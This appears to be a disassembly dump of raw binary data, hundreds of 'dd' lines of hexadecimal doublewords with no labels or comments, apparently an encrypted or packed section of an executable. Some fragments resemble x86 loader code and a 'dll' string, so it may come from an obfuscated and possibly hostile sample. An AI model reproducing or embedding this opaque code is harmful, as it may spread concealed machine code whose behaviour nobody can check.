		dd 0FEE12326h, 1A75A0D8h, 86C91BC4h, 0E515304Eh, 6E12327h
		dd 0E33200E0h, 4BFBCC7Eh, 0CFF6210Eh, 0Eh, 0BC0B4A77h
		dd 6792AC73h, 5240h, 0FB4AE800h, 9DF8E2Ah, 93B8E348h, 4D3A0146h
		dd 7D5B5FEh, 6A3178C8h,	0B1002550h, 367EA168h, 0F9C89158h
		dd 0A0E123B7h, 58450C55h, 3FF9C009h, 0A1D45D7Bh, 0B4067593h
		dd 0DC48B199h, 0B26321Eh, 1EDC483Fh, 234E86ACh,	28111819h
		dd 0C106836h, 4A360000h, 0CCEDDDF8h, 621E123h, 0E123CCC4h
		dd 0C7C081A7h, 0CEF93176h, 864D2B73h, 0CF017ABDh, 85D7FF6Ah
		dd 88F8606Ah, 0B2DD0368h, 0FC357694h, 84BFD3BCh, 54h, 3CBDE736h
		dd 725C8944h, 6681B2E5h, 8CB71B2Bh, 1DF2770h, 0F52A4E3h
		dd 0CB032E48h, 23CC9AB0h, 609DECE1h, 0D219694Eh, 0C7D6F10Bh
		dd 15F01BD7h, 5088D11Ch, 7DA7F332h, 5CA14FE8h, 0D500385Fh
		dd 87BD2BF4h, 0AEBC8A97h, 5CE24F90h, 8D9EDF9Ch,	6C000002h
		dd 0A81EDF27h, 7CD4A11Ah, 4A7678B0h, 4B76B90Bh,	115DEC04h
		dd 0BB2AC6E7h, 457D416Fh, 4A510D43h, 4873BC0Bh,	2881033Eh
		dd 557D39h, 4A4B0000h, 133A66FBh, 0FA25AE57h, 5B79579Fh
		dd 6984CD1Ch, 0E4187061h, 7995C03Bh, 8BA6F84Ah,	0E123CCBFh
		dd 0DADB062Ch, 0E123CC8Dh, 4A4E5076h, 0E8105D14h, 95621199h
		dd 3739719Dh, 6E0EFB4Ah, 0A081CCFBh, 5BB29275h,	3Bh, 507A95E7h
		dd 13E123CCh, 27A6C2EDh, 91E301DFh, 23CC5476h, 0C6F117E1h
		dd 662F4AAAh, 0CAE123CCh, 0CCA1A9C4h, 1C42E123h, 144AE2E4h
		dd 0C9CB105Dh, 3202FB4Ah, 4A9CB2F7h, 815C3C1Fh,	0DD53CFFFh
		dd 0B595D82Ah, 9E1898E7h, 0F8390101h, 1B4F4EAAh, 8E99D10Eh
		dd 0A9CEF93Ch, 0C8E9165Dh, 92063376h, 0FB4DBCDAh, 1301EAE0h
		dd 3580791Dh, 0D30B25ECh, 0F03783A8h, 3D84D095h, 25812C10h
		dd 438FEB09h, 718CDEFCh, 1D130159h, 7FC4110Ah, 3C0E2947h
		dd 0AF1D1301h, 24E95E89h, 436491D8h, 1B6FFF1h, 779D1D13h
		dd 83CA1A59h, 3077A2BCh, 5AABEABCh, 6A1F9132h, 346C1CF0h
		dd 71CDEB09h, 71C0DE25h, 0BEB160D8h, 95685713h,	3EE699B4h
		dd 4A2297C2h, 0C6E5D3FBh, 3553D28Fh, 13D9301Ah,	628DB31Dh
		dd 0E1A8EB3Dh, 1055A2E1h, 0B9FDE5h, 0F244A0BEh,	75291AFh
		dd 0DB736EDBh, 90C8D974h, 64B06B65h, 7DCFF01Dh,	1346C28Bh
		dd 3B8DCC1Dh, 0CCF2CDF8h, 0BFFE869Fh, 49632A6Dh, 86E2001Eh
		dd 0D8F20D3Ah, 8B1D1346h, 0DD22D65h, 694D7AC1h,	0D4F2BC41h
		dd 8ED72665h, 46755570h, 0D0F61D13h, 0ED3480A5h, 3A81CD92h
		dd 0A22CD1Ch, 50EA7C1Bh, 6BBDDE25h, 0CF87FB28h,	0C20955B1h
		dd 115DAB67h, 0FB4AC8CAh, 0B9E5A834h, 9CBE4069h, 9822C473h
		dd 0A5C94560h, 0F642FE30h, 276C84CBh, 4AF9FBD1h, 0EA752FFBh
		dd 758F569Fh, 3448E85Ah, 7DBC9409h, 51FE62Dh, 0C978BEDAh
		dd 0B7392880h, 3Fh, 0ACDB2A69h,	23CCB991h, 0CC042AE2h
		dd 0D12785A1h, 539EDDFBh, 4AC3DF0Ah, 0CCEDDDF8h, 587EE123h
		dd 8DDAF52Dh, 76E123CCh, 144A4E50h, 0A7C50E5Dh,	0ED51C68h
		dd 9FADC9F4h, 2E5BBFh, 27030000h, 38DD18D1h, 47A2A8C3h
		dd 1B41E123h, 0AA02D200h, 2F4A7072h, 0E123CC66h, 0B6F02170h
		dd 0BA1B2EE9h, 8F91B18Fh, 0E5D144Ah, 0BF9FC3C5h, 23DBB381h
		dd 0EC2C39E1h, 0D4FFFFFCh, 75BA0B4Ah, 0CC7D494Ah, 1E66E123h
		dd 58A56040h, 47834C13h, 0BE123CCh, 84D12D4Bh, 0EC0F7F5Ch
		dd 91C99A15h, 0A2E73473h, 73C27D77h, 3594A2Ah, 2766662Dh
		dd 0AEC88FD8h, 69818283h, 6270237Ah, 0A32E0344h, 3952787Eh
		dd 20000002h, 23CC3481h, 8F4B9FE1h, 23CC5674h, 0B7EF15E1h
		dd 0B7084799h, 5464772h, 0E6E75AE7h, 1863A2C0h,	0C3EE08CFh
		dd 70BCFBC9h, 3D486229h, 0CAE4ABF0h, 0E82D7A9Fh, 9CE53421h
		dd 5099E8D5h, 3C126689h, 0CCDE031Eh, 0DE30E16Dh, 23DC87C3h
		dd 3D5864E1h, 0E123DC0Dh, 5580B8DEh, 0E589547Ah, 6E3FCC22h
		dd 0D55C8B7h, 40860000h, 3520DEDh, 0D21FDABAh, 0A1F2AD8Dh
		dd 6FC17C5Ch, 0A3A14C2Ch, 0A282C517h, 73539CE7h, 412168B8h
		dd 13F33A86h, 0BC8EA98Fh, 2FE71EE6h, 0B4A0E02h,	234873BCh
		dd 0A6C990D7h, 435E7C52h, 0E760E98Ah, 0C3065851h, 0DC1B6D8Bh
		dd 68624990h, 0FBE71ED0h, 3372AAD5h, 6C1A1E6h, 0ADAD74B9h
		dd 0AFDA236Eh, 30F73E8Ah, 0C5E3B90Dh, 0C3EE3786h, 0EA2B708Bh
		dd 1238E167h, 0C607B947h, 8C7B323Fh, 0CD3h, 8B6BBE04h
		dd 583881D0h, 2B0B509Dh, 0FADA1F70h, 0CAAAED3Fh, 4395211Fh
		dd 1A652000h, 0E636F1D1h, 0B804BF9Fh, 270D9171h, 1EE73E0Ch
		dd 8C80ADE7h, 78BF0B4Ah, 476C97B1h, 5796B4FBh, 6CB8C30Ch
		dd 1919FA25h, 0CC9EACC7h, 0D5F0E123h, 0E123CCF5h, 868F5076h
		dd 0A8884B7h, 6F9AD2C5h, 0C617C014h, 95A0BA81h,	1D37FE45h
		dd 3675C7E5h, 0BED89FE6h, 0EFAD9293h, 4D46E75Ah, 0D5EFB6FDh
		dd 67DCBEBAh, 5A921BCAh, 2C73BF7Ah, 387FCF0Eh, 1CBFF1Ah
		dd 7298E714h, 2D7F4D47h, 14013812h, 7A85ABE7h, 41EE528h
		dd 6E2A7ED9h, 14017753h, 96CEF4E7h, 24F55D78h, 5076E157h
		dd 55A1E032h, 71BEE30Eh, 44914C2Ch, 0FF4B38FFh,	7ACEF1B8h
		dd 343786A4h, 0DDE7ED75h, 0FB164E79h, 0E75070BEh, 0CEBC87ADh
		dd 9739F19Dh, 0BE9F1E0h, 0D41A0000h, 97E6A181h,	66B36E4Eh
		dd 35864121h, 35510F0h,	4F35E0C0h, 361659ABh, 7E7307Bh
		dd 0D5B5FC4Ch, 0A787CE1Ah, 28223D23h, 0BBE71EE0h, 115D9A8Eh
		dd 8CE003CAh, 187D98B6h, 53E75AEBh, 0F0DAF547h,	73E714D2h
		dd 0D264664Dh, 0E107E714h, 0BF0EC9A9h, 0C9195876h, 1496482h
		dd 0E2E714D2h, 0DC9791BCh, 0B86A4A8Fh, 38ADFB4Ah
		dd 104B3C5Ch, 0A8F3F1F5h, 0E81369CBh, 4563398Dh, 5A3CD12Ah
		dd 4863B5E7h, 0E7140D02h, 0B590BBE1h, 0B7FFC88Fh, 2AE7140Dh
		dd 408FFE1Ch, 2A768DADh, 0E7021CE3h, 526D4CF7h,	0FA9320BAh
		dd 8D97C29Ah, 3C5FB8A4h, 0B7DCh, 0E5DAA00h, 0C211FEC5h
		dd 28553796h, 23A32A2h,	0F54A5E4h, 22032E48h, 637ED022h
		dd 0E1231867h, 0D3F7DE04h, 90E12318h, 0C91A3F6Ah, 0E51D66B1h
		dd 94DF1E1Eh, 3F6A844Bh, 6482CB1Ah, 0C990D325h,	0BC8A84AFh
		dd 187B4F6Ah, 0C2E8E123h, 3FE83C97h, 0C7E1A8EFh, 632A6FBCh
		dd 0D8F31149h, 0E75A03F3h, 141CC413h, 23CEC9DDh, 2CF71DF8h
		dd 39FBB068h, 0C04B3AF1h, 0F100000Ah, 0BD7858ABh, 8A45256Eh
		dd 5D18F83Dh, 2CE7C70Ch, 0CB797DAh, 0ED308234h,	0BE07520Dh
		dd 8CD323DEh, 5EA5F1ACh, 0F914FA7Eh, 0E71EE1D1h, 4A716592h
		dd 0B279BE0Bh, 0F9486D98h, 4C13D0B0h, 0BB000000h, 0FEC50E5Dh
		dd 93B187DBh, 5AD74B78h, 27F218E7h, 39FB397Fh, 645241F8h
		dd 9500000Ah, 611CFC4Fh, 2EE9C912h, 1BC9CE1h, 0D08B6BB0h
		dd 0B05B3B7Eh, 91D426D0h, 62ABF6B1h, 3077C782h,	2499550h
		dd 9DB89E22h, 0E71EE1ADh, 5D1D113Eh, 0D9FCE711h, 0C8CF1485h
		dd 90DCC990h, 0F9D38249h, 0C51D6CDBh, 0D14CB45Ah, 0D65B6590h
		dd 0AA36291Ch, 203h, 0E839A78h,	0ABC6E4BAh, 0E75AEF2Ah
		dd 0AEDA2564h, 0BC34DBDBh, 0DD084078h, 71BA0902h, 0FD5890AAh
		dd 8C6FF15Ch, 0DC61AD2h, 233EA448h, 14839327h, 42839EC4h
		dd 0C4E21AF4h, 0CEE63372h, 0D8033B82h, 0FAA3CAD7h, 4FA09912h
		dd 0F129430Ah, 0DDB3072Ah, 41A0A4BFh, 153B14C9h, 266BB8F7h
		dd 3271C3FBh, 5075A0E5h, 22DDBD04h, 14C48FD6h, 0DDCA613Fh
		dd 9993726h, 84CA0000h,	47965131h, 16631EFEh, 0E536F1D1h
		dd 0B305C0A0h, 1FE59070h, 0E6C6095Bh, 0B797E02Bh, 8565ACFCh
		dd 57377ECAh, 0F8D2EDD3h, 6BE71EE2h, 0E5D4A3Eh,	87DBFEC5h
		dd 0EF4193B1h, 23CCF6D4h, 244F75E1h, 60E9F123h,	0A2F1EAE7h
		dd 40789259h, 6C98E322h, 0AFCA7C3Ch, 0E71EB39Bh, 0A2072248h
		dd 62427A82h, 4C135CA7h, 78BB0D4Ch, 116C97B1h, 77C9E7BDh
		dd 89C00A25h, 7DA3E71Eh, 0B6A85152h, 95BBE167h,	0A4ED3877h
		dd 0A2BE09C4h, 29430A53h, 0F13D2AF1h, 5173DFAAh, 15CC3FC6h
		dd 8FA26h, 92E52B00h, 5FA8F7B2h, 3277C47Fh, 1469752h, 0D1146621h
		dd 0BC7E46F1h, 8C47276Ah, 5D18F841h, 2BE6C60Dh,	34B898DFh
		dd 0E317334Eh, 0A7D4E71Eh, 6C6613B3h, 0E6E123CCh, 47990826h
		dd 23CC1E2Ch, 84D4CDE1h, 245C763Dh, 0BD84C719h,	997278A3h
		dd 36516F45h, 0E75AF3C5h, 0A3E20026h, 40311156h, 0DDF816ECh
		dd 0E16A49CAh, 1E5D7BA1h, 1B6D8BD2h, 2D49CA00h,	487399E1h
		dd 47934Eh, 0C2B70B35h,	3E2DE43Fh, 873h, 2B0B5EA4h, 0F8D82170h
		dd 0CBABF03Dh, 9A7ABF10h, 6A4A8DDFh, 0E335C1BFh, 0BA05C0A0h
		dd 86D69171h, 58A45F3Fh, 0C7AD3111h, 1EE39EACh,	2C204DE7h
		dd 23CC3581h, 4188D4E1h, 461C7061h, 4897D628h, 0F94B38FFh
		dd 9DD5EFB6h, 1A7E7172h, 0CFF5E75Bh, 0F52272B1h, 1482F0DAh
		dd 154D73E7h, 0E32A7A35h, 80D2D1Ch, 4AD50000h, 4E79BE0Bh
		dd 0ABC99FF3h, 0ACD71A6Ch, 0E7705974h, 0CDF3E75Ah, 0D7713D06h
		dd 4068E714h, 98E59FEEh, 0DBF003DCh, 14BFD6F4h,	0B9FE4BE7h
		dd 89A7D2F8h, 72A6Bh, 96793C60h, 47000001h, 0C5E00D5Dh
		dd 0E123CC85h, 7224066h, 0E123CCC3h, 7B427AA0h,	33FA438Eh
		dd 0ECB3FA46h, 6782AFFFh, 0E123CC63h, 0C2A2DA00h, 2269B5F4h
		dd 0F116415Bh, 0FD3C5AA1h, 593A65AEh, 406B0A59h, 0E56D1954h
		dd 340A5FBAh, 9AF7FB16h, 4E74E123h, 0ED0BCB87h,	0F9FD2F7Eh
		dd 88E59314h, 0EC07825Fh, 1A654DA4h, 496E99D1h,	4D2B2F9h
		dd 42F74C5h, 81488FDFh,	23CDE6B8h, 624E4E1h, 33135AAAh
		dd 0F917ED42h, 23CCE4DEh, 9A6187E1h, 183362ADh,	0E123CC32h
		dd 35538BB1h, 7BCC82E6h, 0B22D397Ch, 0E8454B7Ch, 26415F97h
		dd 0E1232724h, 7C76A1C7h, 0F2D76C1h, 0CC5D57C0h, 4A755DB9h
		dd 0E9307C69h, 6C5E79CBh, 0FFE123DAh, 11CDAED9h, 85C43351h
		dd 2727EE35h, 23DA3E0Ch, 4F87ADE1h, 6BB4FF24h, 0B66EBD8Bh
		dd 0C00757F5h, 0CA6A43A5h, 5670377Eh, 83CEF31Eh, 0FC50733Ah
		dd 14ED0826h, 57E75AEDh, 0F21A304Bh, 0A3C9E714h, 6BBD8B6Bh
		dd 14F27A50h, 98C3E9E7h, 18DF2873h, 0ACCAA0F5h,	0AFDA216Dh
		dd 0F26A5C77h, 65A4E714h, 0ED07CE15h, 0A3C1E7C2h, 0F2143651h
		dd 3C8DE714h, 551630F7h, 6723042Fh, 0CB1A89A7h,	13A44D55h
		dd 7BA0CBA3h, 0A9C51430h, 12D9115Ah, 25E0C0F8h,	0BA90ABDAh
		dd 0CCE714E8h, 14E899B1h, 63244AE7h, 1B3E053Dh,	0B8D3F1C7h
		dd 0E16DCDE3h, 71ACF700h, 0A7AF5555h, 945C6E89h, 0E90FE123h
		dd 35493B1h, 0D2DDF7BEh, 1A143F86h, 0EBCB145Fh,	0B999E030h
		dd 0FDD32707h, 0D3DBC4DFh, 0DA00E75Ah, 8ED72613h, 4FA1E0AEh
		dd 27C5E10Ch, 6B34FBD1h, 0E123CC23h, 296A8896h,	36288D08h
		dd 2F78h, 0E5D4600h, 1535FEC5h,	0BDE123CCh, 547691E3h
		dd 17E123CCh, 8AA8C6F1h, 0B696DF2Eh, 23ED171Fh,	286785E1h
		dd 296EBFD7h, 0BC9FC6F1h, 47FFFFFFh, 0C8CA115Dh, 6DB9F84Ah
		dd 0CC0B3F26h, 438EE123h, 0E81339FAh, 9AB50707h, 0E123CCB0h
		dd 8A519AE9h, 9AA6AF70h, 0BA396327h, 324D6BA3h,	0E123F518h
		dd 5E7AA5CBh, 0DDFBD127h, 430A539Eh, 86CF1E29h,	0D6883F5Bh
		dd 2880C978h, 30B739h, 27850000h, 4AF9FBD1h, 2467B9F8h
		dd 23CC0D3Dh, 4C84E1h, 0CC4C102Dh, 82BAE50Bh, 233B6367h
		dd 0D8DA00E1h, 0E5D144Ah, 0BF9FC3C5h, 2C5Bh, 0D1270300h
		dd 708BDDFBh, 0E123CC5Ah, 9CB8E309h, 74BB0B4Ah,	0D4F61149h
		dd 94E123CCh, 144A7274h, 0A7C50E5Dh, 0ED51C68h,	9FADC9F4h
		dd 0CB105DBFh, 75C50404h, 0C802032Eh, 82E123CCh, 0FB48A4C2h
		dd 593FD6B6h, 2DE123DAh, 23C13812h, 4D85ABE1h, 0FFF3A140h
		dd 0E5DE8FFh, 125A19E2h, 0F601C625h, 47275FA6h,	7590256h
		dd 5000FDC4h, 2CFB4982h, 97B5ED25h, 8746B248h, 416CFCB0h
		dd 4968B709h, 0A15C32E6h, 0C76C6D98h, 0A4E75AB1h, 0A0EEB77Eh
		dd 19E714A0h, 85ACED0Bh, 0FB3C5FF4h, 7,	15BC9h,	27030000h
		dd 0C4DFFDD3h, 0E75AD9C7h, 0F33688C7h, 0C0265BD8h, 0DE0985EDh
		dd 78BD0A03h, 3079C4B1h, 0CF9C0F8h, 0C69474BDh,	0DAF53A87h
		dd 385C90E3h, 0E8E91410h, 0E7141FD7h, 0CBABF242h, 0B279C010h
		dd 0D212A602h, 0EE0858B4h, 758F569Fh, 3DD01F3Dh, 403E16A3h
		dd 81C9E402h, 62E7144Fh, 5C17113Ch, 82C8E310h, 61E7144Fh
		dd 0A6E5033Bh, 60F91459h, 27F61909h, 3F60A7D2h,	478CD9F3h
		dd 2D486680h, 0E714281Dh, 4370A8CEh, 9DF917CFh,	0F3AF0A51h
		dd 0A880B978h, 0B9C736h, 27950000h, 93D829D2h, 5C7AB2CCh
		dd 708BD01Dh, 0D225469h, 0A2BEE976h, 0CC662F4Ah, 0AACAE123h
		dd 64144AA8h, 115DF544h, 0B4AC8CAh, 93AD74BBh, 4AA38768h
		dd 0CCEDDDF8h, 587EE123h, 794E803Dh, 0A35EAABh,	818359AFh
		dd 2B7BBA88h, 0D8031DE4h, 80C978BCh, 38B73928h,	85000000h
		dd 0F9FBD127h, 0CC1B2F4Ah, 1C6BE123h, 41C2E1C9h, 7FAABA14h
		dd 44B41B36h, 7F037EA5h, 43C2DA0h, 0D6D8FED9h, 0E5D144Ah
		dd 0BF9FC3C5h, 285Bh, 5CA8E700h, 27CEEA15h, 4AF9FBD1h
		dd 23CC1B2Fh, 0A3A5C5E1h, 0B4A144Ah, 3A5573BCh
		dd 0E123CC10h, 5D82ADD3h, 9FC3C50Eh, 0FF3E5BBFh, 5D03FFFFh
		dd 1603CA11h, 0D6D7A0CAh, 59F885CCh, 0FC504121h, 7CC90826h
		dd 82D40C37h, 57351530h, 90B6E123h, 7E436465h, 0F218E75Ah
		dd 4E14622Bh, 7F8DE714h, 0B112061h, 546F3C60h, 3D000000h
		dd 0DFFDD327h, 0B7FE4E8Dh, 0ECE28B8Ch, 0E309E75Ah, 0E43473C5h
		dd 0D394B69Dh, 3157E714h, 0E6252506h, 23244F96h, 0E714D35Bh
		dd 18DF2676h, 0CD94DB2Bh, 714990E0h, 0E7338FADh, 87BFD9A0h
		dd 0E7284654h, 3C5FAB4Ah, 0E336h, 7999E800h, 38526012h
		dd 5D637FAAh, 1603CA11h, 0BABA81C4h, 0CC7D4D68h, 2394E123h
		dd 936418E3h, 2E597F40h, 7590BD09h, 0E123E355h,	0C6FD0D16h
		dd 131EDBCCh, 3685A3DBh, 2FD871Ch, 0D2B3DED9h, 725299E5h
		dd 23AB27DBh, 67AEFAE1h, 287AB987h, 0D9041EE5h,	5A2168B4h
		dd 0EF0DE337h, 5A88F7D4h, 304E74E7h, 345FA4F1h,	171D6C3Ah
		dd 0D29F06C3h, 69BD1843h, 0F22A6FC0h, 8F7EB9D4h, 5F85E16Ah
		dd 6DB00241h, 5780D28Dh, 2D8C0E3Ch, 7FB7DDE1h, 0C27282B4h
		dd 0A5944B3Fh, 24Bh, 3E3367Ch, 0D0B0F948h, 0A383C815h
		dd 725297E8h, 422265B7h, 0BB0DA997h, 92DD9878h,	5EAE6949h
		dd 307C3717h, 9F8509E9h, 1EF94684h, 4F825E7h, 0AAC80B5Dh
		dd 0ED51A6Bh, 0CCD7F30Eh, 6E94E123h, 56110B36h,	31E3C30Ah
		dd 0DFFDD327h, 5AECDBC4h, 1764A3E7h, 0F00B0BD2h, 0E714D3DAh
		dd 2B6389h, 0A2E1FF25h,	0FFE00B52h, 14D36836h, 0EA3961E7h
		dd 8B368D4Dh, 14C5760h,	0ACD7F1B8h, 22F708Eh, 803C606Fh
		dd 48BBB131h, 6E991A4Dh, 9C34h,	115D0200h, 0C41603CAh
		dd 0E21A63AEh, 0D1B0521Bh, 1D69E123h, 0EF3BF6D6h, 6ABEE1A8h
		dd 0EB377694h, 13982D1h, 46839ED6h, 25E75AF2h, 6098E12Ch
		dd 7F3B8F80h, 14E26664h, 0A7DF05E7h, 0A9F83789h, 6343560h
		dd 0E5E16A54h, 1062A1BFh, 0E032EDCDh, 0B242D29Dh, 44FB3FC2h
		dd 15E55h, 0F6498F00h, 0C30C5B16h, 96DB28E3h, 65AAFBB6h
		dd 3578CA85h, 20DAAA55h, 0F0AB8BCEh, 0C17C5CA5h, 8F4A2A71h
		dd 981CFC43h, 0FAB397B2h, 330E71Eh, 0C80B5D0Fh,	9AE12DE8h
		dd 5DADECBAh, 0A354F16h, 0F7115DEEh, 7E985FA8h,	0CC054560h
		dd 0C0E6E123h, 0FD186A88h, 0E123CCCDh, 6C4D789Eh, 0CEC337Fh
		dd 0D3F1C71Bh, 0AAF34281h, 9D9EC9E3h, 0E75AF37Ch, 0EC2B496Fh
		dd 0EC3B59A0h, 4F93D4E6h, 0E8E20D51h, 7CC7E12Dh, 1A526C33h
		dd 0E6015353h, 0E714D8E4h, 0DB366187h, 7893B187h, 0E157FC9Ch
		dd 74F6C1E7h, 0FD3FC63Dh, 0B55746h, 0A0E60000h,	63B26D4Dh
		dd 327F3A1Ah, 1520DEDh,	0CF21DCBCh, 301AC8Ch, 2E22577h
		dd 0D3B3FC47h, 0A181C818h, 73539AE6h, 0DCEE09EFh, 8FE71EFBh
		dd 0D3276E62h, 0CCCEFC17h, 153E123h, 1CDDF7BEh,	0E0B7F913h
		dd 659D4441h, 8BC30A5Ah, 6EDE526Dh, 6F95E760h, 286FBBA8h
		dd 27418D48h, 3E5C94DBh, 57F9D1ECh, 446AE71Eh, 526F3819h
		dd 658C7C2h, 4B9D0C2Ah,	0C8DA1A30h, 0A2BDC99Ah,	9AC8DAA8h
		dd 0D2DD153Bh, 59733A83h, 76BD092Eh, 488FDB96h,	0FE439481h
		dd 9DBB7B37h, 0CEAEF541h, 5BADC713h, 21CCF835h,	6AA2E7C6h
		dd 2C6B6B32h, 486F9ADFh, 3, 5D3628F0h, 10FDC417h, 0C9B67DC4h
		dd 7E6B3279h, 3623EA33h, 0EDDAA1E4h, 0A491589Bh, 5A470E53h
		dd 1401C80Dh, 0C3B57CC5h, 4E3F68h, 24148900h, 0C281E289h
		dd 4, 8704EA83h, 685C2414h, 2EE1h, 56241489h, 0C681E689h
		dd 4, 8704EE83h, 895C2434h, 68552404h, 21026274h, 4E5C15Dh
		dd 9CFED81h, 815509E9h,	4DA2404h, 815A26FFh, 0FF04DAEAh
		dd 8B545D26h, 0C4832404h, 51A16804h, 14890000h,	8408F24h
		dd 582434FFh, 4C481h, 34FF0000h, 0C4815A24h, 4,	0FA458DE9h
		dd 0B8FEFCFFh, 63D3851h, 0C650C503h, 3722B985h,	25684706h
		dd 0FFCF3817h, 371B49B5h, 14858D06h, 0FF06373Ah, 8DD88BD0h
		dd 37265585h, 4685006h,	0FF000001h, 0B985C6D3h,	53063722h
		dd 7F8BF68h, 49B5FF83h,	8D06371Bh, 373A1485h, 89D0FF06h
		dd 3D1B5285h, 95BD8306h, 6370Bh, 0B840Fh, 9D8B0000h, 6371FEDh
		dd 5E9h, 0BB00h, 680000h, 8D000001h, 3D1B56B5h,	0FF535606h
		dd 37077995h, 56B58D06h, 3063D1Bh, 1E9F0h, 804E0000h, 840F5C3Eh
		dd 9, 0F2F3E80h, 0FFFFED85h, 6C6FFh, 1B56858Dh,	0FF50063Dh
		dd 3D1B5295h, 0E0FF5806h, 4336031Eh, 7A0A885Bh,	7900A5CFh
		dd 4ADF6127h, 0F26A4EAh, 192D42F5h, 565BA42h, 662353ECh
		dd 17C38CF1h, 78F71F73h, 191863D1h, 677E7874h, 2C541D08h
		dd 418FDA8Bh, 1BA0DF7h,	5F3ED866h, 4020F358h, 3A318D8Dh
		dd 9529063Dh, 6372389h,	18758D89h, 51B30637h, 119585C7h
		dd 72340637h, 0B58B0000h, 6370F31h, 0F8185C7h, 637h, 0D68B0000h
		dd 1CB9B5FFh, 8B0F0637h, 15h, 9E8h, 0C6F00F00h,	0CE5DD816h
		dd 8D29BB9Eh, 6371B11h,	9195FF58h, 60063712h, 9FDBD8Bh
		dd 0C38B0637h, 0FF006A61h, 37321995h, 0EBC08B06h, 5EB0081Dh
		dd 9566EA4Eh, 391AD311h, 73B1C71Ah, 0F7DFA111h,	81D6CB0Ah
		dd 58A64EC2h, 6E8CF9Ah,	1D000000h, 5EDC9724h, 0C78B66C2h
		dd 0DDB58B5Fh, 81063709h, 626DC7h, 12E900h, 0D3DF0000h
		dd 0E5B6DB48h, 33736BC0h, 491ECA42h, 0CEA5746Ch, 0C981DB2Bh
		dd 29AE308Dh, 803B34FFh, 0F85AF4C5h, 0E842C281h, 858B28A0h
		dd 637130Dh, 1DA2F281h,	8D31220Ah, 63707A5h, 1DEF281h
		dd 858B4C3Dh, 63720D5h,	42E98052h, 11F048Fh, 37253195h
		dd 0DD8D0B06h, 83063729h, 0AE902EBh, 61000000h,	0A8371362h
		dd 0E1DF7B52h, 894B4B46h, 371D95BDh, 58FB8106h,	0FFFFF9Eh
		dd 1C85h, 92E08000h, 27E9h, 0A89FDB00h,	0F112060Ah, 0CCC0F0B9h
		dd 94B12EBBh, 37A7FB5Ch, 0A02BB82Ch, 75E97F26h,	7FFFFFFFh
		dd 0BB2F9197h, 3C2C1963h, 0EE8h, 0D09E7500h, 6EA06E20h
		dd 0E5475C20h, 0E85F7D87h, 10h,	0B2DCCB88h, 9B441D41h
		dd 52B5526Ah, 55F054A6h, 0AE9h,	98C2B300h, 0C366151h, 5EFF6B1Ch
		dd 0FD9D335Ah, 81063709h, 5B5DC2h, 0AE900h, 0CC4C0000h
		dd 0C17817E7h, 0DF3750B4h, 169468h, 0DE800h, 0A27E0000h
		dd 7EC9F1C2h, 0A8EB59D1h, 666CEF46h, 595BDF8Bh,	90C6BB66h
		dd 0BE663A8Bh, 0C7815124h, 5C8AE433h, 81B58B50h, 5B06371Eh
		dd 0F90BF781h, 0AEB00DAFh, 0D9A3C781h, 13E95270h, 7D000000h
		dd 5FAB9520h, 0D2B7C6C3h, 8C44B0EEh, 108220D4h,	8B57F96Ah
		dd 370CD99Dh, 8B028F06h, 372A65B5h, 4EA8306h, 0F08B6657h
		dd 1E9815Eh, 0F000000h,	2B85h, 6E800h, 48CD0000h, 8E6B8D85h
		dd 90D8D89h, 0E95E0637h, 2Eh, 0C06BCFEFh, 8D6116B1h, 0D3B008Fh
		dd 0C4F1D7A0h, 0F47D629h, 13A1B58Bh, 6DE90637h,	72FFFFFFh
		dd 0CF78F528h, 42F945Ah, 3744698Ah, 5E8D2A3h, 98000000h
		dd 0C101E9AFh, 0D91BD29h, 8B5A0637h, 370C8585h,	0EDC28106h
		dd 900006Fh, 371ACD9Dh,	0E9FF2B06h, 11h, 6C09598Fh, 295C8234h
		dd 0A9DE07FEh, 21E7549h, 1734FF60h, 0C9816656h,	5B59F1DCh
		dd 11458D8Bh, 0F3810637h, 1F0456DCh, 1F658D2Bh,	0C3810637h
		dd 5B4CCF82h, 0FE28D981h, 0EB810F6Fh, 367A0B74h, 81DE8B60h
		dd 3A82D0CEh, 1C89616Fh
		dd 0DE81663Ah, 0EE8A6FF0h, 0E904EF83h, 6, 0B414336Dh, 0FF810EA5h
		dd 0FFFF90A4h, 0FFA3850Fh, 0CA8BFFFFh, 1B9026EBh, 0AFEC33B6h
		dd 746E558Eh, 2E6C6C64h, 6C6C64h, 7462188h, 0A3D25D34h
		dd 261BDBFh, 2 dup(0)
		dd 6E4E9h, 3E586800h, 53E9063Dh, 68FFFA41h, 63D3F19h, 0FA4149E9h
		dd 3FC268FFh, 3FE9063Dh, 68FFFA41h, 63D4089h, 0FA4135E9h
		dd 415268FFh, 2BE9063Dh, 68FFFA41h, 63D4232h, 0FA4121E9h
		dd 8ADD23FFh, 57A0EFAAh, 2A6FBC77h, 0F93E8F4Ah,	0C90C5E19h
		dd 0B4463EE9h, 843F1F62h, 5510F039h, 23DEBE05h,	2CB090D7h
		dd 0F11F2B46h, 9FCCE71Eh, 2E5BABh, 5D030000h, 1603CA11h
		dd 0CA383CAh, 0E123CC42h, 0FF80FD4Ch, 0D8F33889h, 385377EDh
		dd 0E1231812h, 5873ABD1h, 0B957CDE2h, 3358839Ah, 0ABC9CE3h
		dd 0DFFDD327h, 0CC58728Dh, 0E50BE123h, 66782BAh, 5DE75AE6h
		dd 0DFA77037h, 0FAE714D5h, 0AF9C63AAh, 0A8561D62h, 752AECCh
		dd 0A5DDF7BEh, 5466472h, 3C5FA62Ch, 23F54h, 0B4A2200h
		dd 0C3B077C0h, 4B652C73h, 0F400E813h, 0D290499Dh, 0E7C3A751h
		dd 0A8C3E119h, 0E75A7017h, 4988A6CCh, 0ECECB3F8h, 1471F9D1h
		dd 0C446AE7h, 92CB6CE1h, 59A365C9h, 0C2112F05h,	3F56E5DDh
		dd 0A0D80398h, 43BD2085h, 718CDE25h, 250D8E59h,	0DEB9E40Ah
		dd 8D4B9AB8h, 95F37CADh, 7F7F608Bh, 7EA9F040h, 0DBF9CF23h
		dd 70698CC0h, 23416723h, 715198E4h, 58236AB6h, 0FDD837BBh
		dd 0BB6E5D14h, 5000004h, 0D18C6CBFh, 9E593982h,	712C0C51h
		dd 40FBDB20h, 20CBABEEh, 1449620h, 0D21B6621h, 0A0E737F2h
		dd 72B905C0h, 0D280E92h, 0E71EF23Dh, 4A8D81AEh,	566AA3FBh
		dd 214CFBF0h, 0A269B0FCh, 37552B7Fh, 125BA6E5h,	446FB807h
		dd 5A82CE43h, 17F71DE7h, 0E2365B99h, 0DCA3E839h, 1A6C8AC2h
		dd 81488FDBh, 0BA3B3C67h, 31E16DB8h, 0AC0FB00Bh, 0C779C1F3h
